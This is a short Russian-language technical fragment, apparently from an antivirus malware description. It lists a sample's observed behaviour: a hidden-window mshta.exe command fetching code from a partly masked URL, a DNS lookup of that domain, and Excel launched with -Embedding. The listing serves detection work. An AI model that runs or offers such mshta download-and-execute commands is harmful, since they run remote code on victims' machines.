Техническая информация
- '<SYSTEM32>\mshta.exe' http://www.bi##y.com/SexoPhone1
- http://www.bi##y.com/SexoPhone1
- http://bi##y.com/SexoPhone1
- DNS ASK bi##y.com
- '<SYSTEM32>\mshta.exe' http://www.bi##y.com/SexoPhone1' (со скрытым окном)
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding